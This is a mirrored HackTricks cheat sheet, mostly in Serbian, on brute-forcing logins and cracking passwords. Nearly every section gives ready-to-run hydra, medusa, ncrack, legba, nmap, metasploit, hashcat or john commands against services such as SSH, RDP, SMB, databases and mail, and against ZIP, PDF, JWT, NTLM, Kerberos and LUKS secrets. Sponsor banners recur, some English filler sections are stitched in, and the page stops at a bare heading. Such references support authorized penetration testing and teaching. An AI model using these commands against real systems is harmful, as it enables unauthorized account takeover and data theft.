mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00

Translator 7adb830187 Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat

2024-03-29 21:14:05 +00:00

Brute Force - Šema prečica

Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane najnaprednijim alatima zajednice na svetu.
Dobijte pristup danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Naučite hakovanje AWS-a od početnika do stručnjaka sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
Nabavite zvanični PEASS & HackTricks swag
Otkrijte Porodičnu PEASS, našu kolekciju ekskluzivnih NFT-ova
Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @hacktricks_live.
Podelite svoje hakovanje trikova slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.

Podrazumevane akreditacije

Pretražite na Google-u podrazumevane akreditacije tehnologije koja se koristi, ili probajte ove linkove:

Napravite svoje rečnike

Pronađite što više informacija o cilju koliko možete i generišite prilagođeni rečnik. Alati koji mogu pomoći:

Crunch

crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)

@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%

Cewl

cewl example.com -m 5 -w words.txt

CUPP

Generišite lozinke na osnovu vašeg znanja o žrtvi (imena, datumi...)

python3 cupp.py -h

Alatka za generisanje liste reči, koja vam omogućava da obezbedite skup reči, pružajući vam mogućnost da kreirate višestruke varijacije iz datih reči, stvarajući jedinstvenu i idealnu listu reči za korišćenje u vezi sa određenim ciljem.

python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst

__          _______  _____ _______ ______ _____
\ \        / /_   _|/ ____|__   __|  ____|  __ \
\ \  /\  / /  | | | (___    | |  | |__  | |__) |
\ \/  \/ /   | |  \___ \   | |  |  __| |  _  /
\  /\  /   _| |_ ____) |  | |  | |____| | \ \
\/  \/   |_____|_____/   |_|  |______|_|  \_\

Version 1.0.3                    Cycurity

Generating wordlist...
[########################################] 100%
Generated 67885 lines.

Finished in 0.920s.

pydictor

Wordlists

Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice.
Pristupite danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Usluge

Poređane abecedno po imenu usluge.

AFP

nmap -p 548 --script afp-brute <IP>
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE <PATH_PASSWDS>
msf> set USER_FILE <PATH_USERS>
msf> run

AJP

nmap --script ajp-brute -p 8009 <IP>

AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM i Solace)

legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]

Cassandra

nmap --script cassandra-brute -p 9160 <IP>
# legba ScyllaDB / Apache Casandra
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042

CouchDB

msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /

Docker Registar

hydra -L /usr/share/brutex/wordlists/simple-users.txt  -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/

Elasticsearch

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /

FTP

hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21

HTTP Generičko Brute

WFuzz

HTTP Osnovna Autentifikacija

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for https
medusa -h <IP> -u <username> -P  <passwords.txt> -M  http -m DIR:/path/to/auth -T 10
legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/

HTTP - NTLM

legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/

HTTP - Post Form

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb  http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https

Za https morate promeniti sa "http-post-form" na "https-post-form"

HTTP - CMS -- (W)ordpress, (J)oomla ili (D)rupal ili (M)oodle

cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP

IMAP

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
nmap -sV --script imap-brute -p <PORT> <IP>
legba imap --username user --password data/passwords.txt --target localhost:993

IRC

nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>

ISCSI

nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>

JWT

#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt

#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt

#John
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256

#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d wordlists.txt <JWT token>

#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8

#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt

#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6

LDAP

nmap --script ldap-brute -p 389 <IP>
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match

MQTT

ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt

Mongo

nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login
legba mongodb --target localhost:27017 --username root --password data/passwords.txt

MSSQL

legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433

MySQL

# hydra
hydra -L usernames.txt -P pass.txt <IP> mysql

# msfconsole
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false

# medusa
medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on first success attempt> -t <threads> -M mysql

#Legba
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306

OracleSQL

patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017

./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt

#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORT 1521
msf> set SID <SID>

#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORTS 1521
msf> set SID <SID>

#for some reason nmap fails sometimes when executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>

legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt

Da biste koristili oracle_login sa patatorom, potrebno je instalirati:

pip3 install cx_Oracle --upgrade

Offline OracleSQL hash bruteforce (verzije 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, i 11.2.0.3):

nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30

POP

Brute force attacks against POP (Post Office Protocol) servers can be used to guess usernames and passwords. This can be done using tools like Hydra, Ncrack, Medusa, or custom scripts. It's important to note that brute forcing is illegal unless you have explicit permission to test the security of a system.

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V

# Insecure
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:110

# SSL
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl

PostgreSQL

hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432

PPTP

Možete preuzeti .deb paket za instalaciju sa https://http.kali.org/pool/main/t/thc-pptp-bruter/

sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>

RDP

ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]

Redis

msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]

Rexec

hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V

Rlogin

hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V

Rsh

Brute force attacks against the Rsh service can be carried out using the rsh-brute script in Nmap. This script performs a dictionary attack against Rsh servers to guess usernames and passwords. An example of how to use this script is shown below:

nmap --script rsh-brute <target>

This script can be useful during penetration testing to identify weak credentials on Rsh servers.

hydra -L <Username_list> rsh://<Victim_IP> -v -V

http://pentestmonkey.net/tools/misc/rsh-grind

Rsync

nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>

RTSP

hydra -l root -P passwords.txt <IP> rtsp

SFTP

legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22

SNMP

msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp

SMB

nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]

SMTP

hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]

SOCKS

Čarape

nmap  -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
# With alternative address
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080

SQL Server

#Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> mssql
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT

SSH

hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
legba ssh --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22

Slabe SSH ključeve / Debian predvidljiv PRNG

Neke sisteme karakterišu poznate slabosti u slučajnom semenu koje se koristi za generisanje kriptografskog materijala. Ovo može rezultirati dramatično smanjenim prostorom ključeva koji se mogu probiti alatima poput snowdroppe/ssh-keybrute. Pre-generisani setovi slabih ključeva takođe su dostupni, poput g0tmi1k/debian-ssh.

STOMP (ActiveMQ, RabbitMQ, HornetQ i OpenMQ)

STOMP tekstualni protokol je široko korišćeni protokol za razmenu poruka koji omogućava besprekornu komunikaciju i interakciju sa popularnim servisima za redove poruka poput RabbitMQ, ActiveMQ, HornetQ i OpenMQ. Pruža standardizovan i efikasan pristup za razmenu poruka i obavljanje različitih operacija sa porukama.

legba stomp --target localhost:61613 --username admin --password data/passwords.txt

Telnet

Telnet je jednostavan protokol za udaljeni pristup koji se može koristiti za testiranje brute force napada. Brute force napad na Telnet server može biti efikasan ako su lozinke slabe ili nisu pravilno konfigurisane.

hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet

legba telnet \
--username admin \
--password wordlists/passwords.txt \
--target localhost:23 \
--telnet-user-prompt "login: " \
--telnet-pass-prompt "Password: " \
--telnet-prompt ":~$ " \
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin

VNC

hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0
use auxiliary/scanner/vnc/vnc_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
legba vnc --target localhost:5901 --password data/passwords.txt

#Metasploit
use auxiliary/scanner/vnc/vnc_login
set RHOSTS <ip>
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst

Winrm

crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice na svetu.
Pristupite danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Lokalno

Online baze za probijanje

~~http://hashtoolkit.com/reverse-hash?~~ (MD5 & SHA1)
https://shuck.sh/get-shucking.php (MSCHAPv2/PPTP-VPN/NetNTLMv1 sa/ili bez ESS/SSP i sa bilo kojom vrednošću izazova)
https://www.onlinehashcrack.com/ (Heševi, WPA2 snimci i arhive MSOffice, ZIP, PDF...)
https://crackstation.net/ (Heševi)
https://md5decrypt.net/ (MD5)
https://gpuhash.me/ (Heševi i heševi fajlova)
https://hashes.org/search.php (Heševi)
https://www.cmd5.org/ (Heševi)
https://hashkiller.co.uk/Cracker (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
https://www.md5online.org/md5-decrypt.html (MD5)
http://reverse-hash-lookup.online-domain-tools.com/

Proverite ovo pre nego što pokušate da probijete heš.

ZIP

#sudo apt-get install fcrackzip
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip

zip2john file.zip > zip.john
john zip.john

#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack

Poznati napad na zip sa tekstom u otvorenom obliku

Potrebno je da znate tekst u otvorenom obliku (ili deo teksta) fajla koji se nalazi unutar enkriptovanog zipa. Možete proveriti imenovanje fajlova i veličinu fajlova koji se nalaze unutar enkriptovanog zipa pokretanjem komande: 7z l encrypted.zip
Preuzmite bkcrack sa stranice sa izdanjima.

# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file

./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
unzip unlocked.zip #User new_pwd as password

7z

cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z

#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john

PDF

Brute-force napadi su jedna od najjednostavnijih metoda napada na autentikaciju. Ovi napadi se oslanjaju na pokušaje svih mogućih kombinacija lozinki dok se ne pronađe odgovarajuća. Postoje alati koji mogu automatizovati ovaj proces i ubrzati pronalaženje ispravne lozinke. Kako bi se zaštitili od ovakvih napada, preporučuje se korišćenje jakih i složenih lozinki, kao i implementacija dodatnih sigurnosnih mehanizama poput dvostruke autentikacije.

apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
#pdf2john didn't work well, john didn't know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf

Vlasnička lozinka PDF-a

Da biste probili vlasničku lozinku PDF-a, pogledajte ovde: https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/

JWT

git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack

#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt

#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John

NTLM krakovanje

Format:USUARIO:ID:HASH_LM:HASH_NT:::
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot

Keepass

sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a file as a needed credential
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Keberoasting

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

Srećna slika

Metoda 1

Instalacija: https://github.com/glv2/bruteforce-luks

bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt

Metoda 2

cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
hashcat -m 14600 -a 0 luckshash  wordlists/rockyou.txt
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt

Još jedan Luks BF tutorial: http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1

Mysql

#John hash format
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d

PGP/GPG Privatni ključ

gpg2john private_pgp.key #This will generate the hash and save it in a file
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash

Cisco

DPAPI Master Key

Koristite https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py a zatim john

Open Office Pwd Protected Column

Ako imate xlsx fajl sa kolonom zaštićenom lozinkom, možete je ukloniti:

Postavite ga na google drive i lozinka će automatski biti uklonjena
Za ručno uklanjanje:

unzip file.xlsx
grep -R "sheetProtection" ./*
# Find something like: <sheetProtection algorithmName="SHA-512"
hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
# Remove that line and rezip the file
zip -r file.xls .

PFX Sertifikati

# From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx

Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice.
Dobijte pristup danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Alati

Primeri hešova: https://openwall.info/wiki/john/sample-hashes

Identifikator heša

hash-identifier
> <HASH>

Wordlists

Alati za generisanje wordlisti

kwprocessor: Napredni generator šetnje tastaturom sa konfigurabilnim osnovnim karakterima, keymap-om i rutama.

kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt

Džonova mutacija

Pročitaj /etc/john/john.conf i konfiguriši ga

john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules

Hashcat

Hashcat napadi

Napad sa listom reči (-a 0) sa pravilima

Hashcat već dolazi sa folderom koji sadrži pravila ali možete pronaći druga zanimljiva pravila ovde.

hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule

Napad kombinatora liste reči

Moguće je kombinovati 2 liste reči u 1 pomoću hashcat-a.
Ako lista 1 sadrži reč "hello" a druga sadrži 2 linije sa rečima "world" i "earth". Biće generisane reči helloworld i helloearth.

# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt

# Same attack as before but adding chars in the newly generated words
# In the previous example this will generate:
## hello-world!
## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!

Mask napad (-a 3)

# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d

hashcat --help #will show the charsets and are as follows
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff

# Mask attack declaring custom charset
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.

# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask

Napad sa listom reči + maskom (-a 6) / Maskom + listom reči (-a 7)

# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d

# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt

Hashcat režimi

hashcat --example-hashes | grep -B1 -A2 "NTLM"

Brute Forcing

Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. When it comes to cracking Linux hashes from the /etc/shadow file, brute forcing can be a powerful method to recover passwords. There are various tools available that can automate the brute forcing process, such as John the Ripper and Hashcat. These tools use different algorithms and techniques to efficiently crack passwords. It is important to use strong wordlists and rules to increase the chances of success when brute forcing Linux hashes.

500 | md5crypt $1$, MD5(Unix)                          | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix)                      | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix)                    | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix)                    | Operating-Systems

Brute Forcing Windows Hashes

Introduction

When it comes to cracking Windows hashes, one of the most common methods is brute forcing. This technique involves trying all possible combinations of characters until the correct password is found. In this section, we will discuss how to perform brute force attacks on Windows hashes.

Tools

There are several tools available for brute forcing Windows hashes, such as John the Ripper and Hashcat. These tools are capable of running through millions of password combinations in a relatively short amount of time.

Methodology

Capture the Hash: The first step is to obtain the Windows hash that you want to crack. This can be done by extracting the hash from the Windows SAM file or by using tools like Mimikatz to dump the hashes from memory.
Choose a Tool: Select a suitable tool for brute forcing the hash. John the Ripper is a popular choice for this purpose.
Create Wordlist: Generate a wordlist that contains potential passwords to try during the brute force attack. This wordlist can be created using tools like Crunch or Cewl.
Initiate Brute Force Attack: Use the chosen tool to start the brute force attack against the Windows hash. The tool will systematically try all possible password combinations until the correct one is found.
Crack the Hash: Once the tool successfully cracks the hash, the plaintext password will be revealed. This password can then be used to gain unauthorized access to the Windows system.

Conclusion

Brute forcing Windows hashes can be a time-consuming process, especially if the password is complex. However, with the right tools and techniques, it is possible to crack even the most secure passwords. It is important to use this knowledge responsibly and only for ethical hacking purposes.

3000 | LM                                               | Operating-Systems
1000 | NTLM                                             | Operating-Systems

Brute-Force

Dictionary Attacks

Dictionary attacks are a type of brute-force attack that uses a predefined list of words as potential passwords. These attacks are usually more efficient than traditional brute-force attacks because they do not need to try every possible combination of characters. Instead, they only try words that are likely to be used as passwords.

Tools

John the Ripper: A popular password-cracking tool that can perform dictionary attacks among other types of attacks.
Hashcat: Another powerful password-cracking tool that supports dictionary attacks.

Brute-Force Attacks

Brute-force attacks systematically try every possible combination of characters until the correct password is found. These attacks can be very time-consuming and resource-intensive, especially for longer and more complex passwords.

Tools

Hydra: A fast and flexible password-cracking tool that supports various protocols and services.
Medusa: Similar to Hydra, Medusa is a speedy, parallel password-cracking tool.

Rainbow Tables

